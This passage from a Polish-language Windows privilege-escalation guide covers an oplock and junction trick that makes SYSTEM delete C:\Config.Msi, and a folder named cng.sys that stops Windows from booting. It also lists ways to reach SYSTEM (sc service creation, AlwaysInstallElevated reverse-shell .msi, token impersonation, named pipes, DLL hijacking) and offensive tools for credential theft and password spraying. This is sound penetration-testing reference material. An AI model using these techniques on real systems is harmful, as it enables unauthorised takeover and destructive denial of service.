RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Krok 3: Wywołaj proces SYSTEM (np. SilentCleanup)
  • Ten proces skanuje foldery (np. %TEMP%) i próbuje usunąć ich zawartość.
  • Gdy dotrze do file1.txt, oplock uruchamia się i przekazuje kontrolę do Twojego callbacka.
  1. Krok 4: Wewnątrz callbacka oplocka przekieruj usuwanie
  • Opcja A: Przenieś file1.txt w inne miejsce

  • To opróżnia folder1 bez zerwania oplocka.

  • Nie usuwaj file1.txt bezpośrednio — to zwolni oplock przedwcześnie.

  • Opcja B: Konwertuj folder1 na junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opcja C: Utwórz symlink w \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

To atakuje wewnętrzny strumień NTFS, który przechowuje metadane folderu — jego usunięcie usuwa folder.

  1. Krok 5: Zwolnij oplock
  • Proces SYSTEM kontynuuje i próbuje usunąć file1.txt.
  • Ale teraz, z powodu junction + symlink, faktycznie usuwa:
C:\Config.Msi::$INDEX_ALLOCATION

Wynik: C:\Config.Msi zostaje usunięty przez SYSTEM.

Od tworzenia dowolnego folderu do trwałego DoS

Wykorzystaj prymityw, który pozwala ci utworzyć dowolny folder jako SYSTEM/admin — nawet jeśli nie możesz zapisywać plików lub ustawiać słabych uprawnień.

Utwórz folder (nie plik) o nazwie krytycznego sterownika Windows, np.:

C:\Windows\System32\cng.sys
  • Ta ścieżka zwykle odpowiada sterownikowi w trybie jądra cng.sys.
  • Jeśli wstępnie utworzysz tę ścieżkę jako folder, Windows nie załaduje rzeczywistego sterownika podczas rozruchu.
  • Następnie Windows próbuje załadować cng.sys podczas rozruchu.
  • Widząc folder, nie może załadować rzeczywistego sterownika, i system się zawiesza lub rozruch zostaje zatrzymany.
  • Nie ma żadnego mechanizmu awaryjnego, i brak możliwości odzyskania bez zewnętrznej interwencji (np. naprawy rozruchu lub dostępu do dysku).

Z High Integrity do System

Nowa usługa

Jeśli już działasz w procesie o High Integrity, ścieżka do SYSTEM może być prosta — wystarczy utworzyć i uruchomić nową usługę:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Podczas tworzenia pliku binarnego usługi upewnij się, że to prawidłowa usługa lub że binarka wykonuje niezbędne akcje wystarczająco szybko, ponieważ zostanie zabita po 20s jeśli nie jest prawidłową usługą.

AlwaysInstallElevated

Z procesu o High Integrity możesz spróbować włączyć wpisy rejestru AlwaysInstallElevated i zainstalować reverse shell przy użyciu opakowania .msi.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Możesz znaleźć kod tutaj.

From SeDebug + SeImpersonate to Full Token privileges

Jeśli masz te uprawnienia do tokena (prawdopodobnie znajdziesz je już w procesie o High Integrity), będziesz w stanie otworzyć prawie dowolny proces (z wyjątkiem procesów chronionych) z uprawnieniem SeDebug, skopiować token tego procesu i utworzyć dowolny proces z tym tokenem.
Używając tej techniki zwykle wybiera się proces uruchomiony jako SYSTEM z wszystkimi uprawnieniami tokena (tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena).
Możesz znaleźć przykład kodu wykonującego proponowaną technikę tutaj.

Named Pipes

Ta technika jest używana przez meterpreter do eskalacji w getsystem. Technika polega na utworzeniu pipe i następnie utworzeniu/wykorzystaniu usługi do zapisu w tym pipe'ie. Następnie, serwer który utworzył pipe używając uprawnienia SeImpersonate będzie w stanie podstawić token klienta pipe'a (usługę), uzyskując uprawnienia SYSTEM.
Jeśli chcesz dowiedzieć się więcej o name pipes powinieneś przeczytać to.
Jeśli chcesz przeczytać przykład jak przejść z high integrity do System używając name pipes powinieneś przeczytać to.

Dll Hijacking

Jeśli uda ci się przejąć bibliotekę DLL ładowaną przez proces działający jako SYSTEM, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatne do tego typu eskalacji uprawnień, a dodatkowo jest znacznie łatwiejsze do osiągnięcia z procesu o high integrity, ponieważ będzie miał uprawnienia zapisu w folderach używanych do ładowania dlli.
Możesz dowiedzieć się więcej o Dll hijacking tutaj.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Przeczytaj: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Najlepsze narzędzie do wyszukiwania wektorów Windows local privilege escalation: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Sprawdza nieprawidłowe konfiguracje i wrażliwe pliki (sprawdź tutaj). Wykryto.
JAWS -- Sprawdza możliwe nieprawidłowe konfiguracje i zbiera informacje (sprawdź tutaj).
privesc -- Sprawdza nieprawidłowe konfiguracje
SessionGopher -- Wyodrębnia informacje o zapisanych sesjach PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough lokalnie.
Invoke-WCMDump -- Wyciąga poświadczenia z Credential Manager. Wykryte.
DomainPasswordSpray -- Rozsyła zebrane hasła po domenie
Inveigh -- Inveigh to PowerShellowy ADIDNS/LLMNR/mDNS/NBNS spoofer oraz narzędzie typu man-in-the-middle.
WindowsEnum -- Podstawowa enumeracja Windows pod kątem privesc
Sherlock ~~~~ -- Szuka znanych podatności privesc (NIEAKTUALNE dla Watson)
WINspect -- Lokalne sprawdzenia (Wymaga praw Administratora)

Exe

Watson -- Szuka znanych podatności privesc (wymaga skompilowania w VisualStudio) (precompiled)
SeatBelt -- Enumeruje hosta szukając nieprawidłowych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga skompilowania) (precompiled)
LaZagne -- Wyodrębnia poświadczenia z wielu programów (precompiled exe na GitHubie)
SharpUP -- Port PowerUp do C#
Beroot ~~~~ -- Sprawdza nieprawidłowe konfiguracje (wykonywalny precompiled na GitHubie). Niezalecane. Nie działa dobrze w Win10.
Windows-Privesc-Check -- Sprawdza możliwe nieprawidłowe konfiguracje (exe z Pythona). Niezalecane. Nie działa dobrze w Win10.

Bat

winPEASbat -- Narzędzie stworzone na podstawie tego posta (nie wymaga accesschk, aby działać prawidłowo, ale może go używać).

Local

Windows-Exploit-Suggester -- Odczytuje wynik systeminfo i rekomenduje działające exploity (lokalny python)
Windows Exploit Suggester Next Generation -- Odczytuje wynik systeminfo i rekomenduje działające exploity (lokalny python)

Meterpreter

multi/recon/local_exploit_suggestor

Musisz skompilować projekt używając odpowiedniej wersji .NET (see this). Aby zobaczyć zainstalowaną wersję .NET na hoście ofiary możesz zrobić:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Źródła

{{#include ../../banners/hacktricks-training.md}}